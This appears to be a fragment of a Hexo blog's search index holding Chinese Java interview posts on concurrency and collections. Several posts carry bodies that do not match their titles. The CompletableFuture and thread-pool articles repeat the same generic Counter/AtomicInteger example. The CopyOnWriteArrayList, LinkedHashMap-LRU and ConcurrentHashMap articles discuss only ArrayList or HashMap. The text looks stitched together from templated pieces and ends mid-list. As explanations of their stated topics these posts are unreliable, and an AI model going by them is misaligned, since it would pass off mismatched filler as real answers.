title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：AQS-为什么是并发工具的基础"><a href="#面试：AQS-为什么是并发工具的基础" class="headerlink" title="面试：AQS 为什么是并发工具的基础"></a>面试：AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：CompletableFuture-编排异步任务"><a href="#面试：CompletableFuture-编排异步任务" class="headerlink" title="面试：CompletableFuture 编排异步任务"></a>面试：CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：ThreadLocal-的使用和内存泄漏问题"><a href="#面试：ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="面试：ThreadLocal 的使用和内存泄漏问题"></a>面试：ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：volatile-能保证什么不能保证什么"><a href="#面试：volatile-能保证什么不能保证什么" class="headerlink" title="面试：volatile 能保证什么不能保证什么"></a>面试：volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：synchronized-和-ReentrantLock-怎么选"><a href="#面试：synchronized-和-ReentrantLock-怎么选" class="headerlink" title="面试：synchronized 和 ReentrantLock 怎么选"></a>面试：synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：线程池参数如何设置才靠谱"><a href="#面试：线程池参数如何设置才靠谱" class="headerlink" title="面试：线程池参数如何设置才靠谱"></a>面试：线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：CopyOnWriteArrayList-适合什么场景"><a href="#面试：CopyOnWriteArrayList-适合什么场景" class="headerlink" title="面试：CopyOnWriteArrayList 适合什么场景"></a>面试：CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：LinkedHashMap-如何实现-LRU-缓存"><a href="#面试：LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="面试：LinkedHashMap 如何实现 LRU 缓存"></a>面试：LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：ConcurrentHashMap-为什么适合并发场景"><a href="#面试：ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="面试：ConcurrentHashMap 为什么适合并发场景"></a>面试：ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 